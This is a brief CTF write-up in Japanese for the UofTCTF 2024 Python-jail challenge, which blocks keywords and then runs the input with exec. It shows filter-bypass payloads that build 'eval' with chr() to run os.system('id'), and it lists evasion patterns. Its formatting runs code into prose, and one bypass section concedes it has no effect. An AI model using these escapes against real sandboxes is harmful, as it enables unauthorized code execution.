UofTCTF 2024 - Baby's First Pyjail
Challenge
ブラックリストベースのフィルタを持つ pyjail。
blacklist = ['import', 'os', 'sys', 'eval', 'exec', 'open', 'read', 'write']
code = input()
for word in blacklist: if word in code: print("Blocked!") exit()
exec(code)Solution
del blacklist[:] によるクリア
リストを空にしてからブラックリスト文字列を使用:
del blacklist[:]# 以降、blacklist は空なのでチェックが通る# ただし、この時点ではすでにチェック済み実際の攻撃
ブラックリストが変数として残っている場合:
# ブラックリストを削除blacklist.clear()ただし、チェックはすでに完了しているため、直接的な効果はない。
文字列構築によるバイパス
# chr() で構築getattr(__builtins__, chr(101)+chr(118)+chr(97)+chr(108))# 'eval' を構築__builtins__ 経由
# builtins にアクセス__builtins__.__dict__[chr(101)+chr(118)+chr(97)+chr(108)]('__import__("os").system("id")')Technical Details
リスト操作
# 全要素削除blacklist[:] = []del blacklist[:]blacklist.clear()
# リスト自体を削除del blacklistフィルタバイパスのパターン
- 文字列結合:
'im' + 'port' - chr():
chr(105)+chr(109)+... - Unicode:
import - base64:
__import__('base64').b64decode('...')
Flag
uoftctf{...}
References
- UofTCTF 2024 Official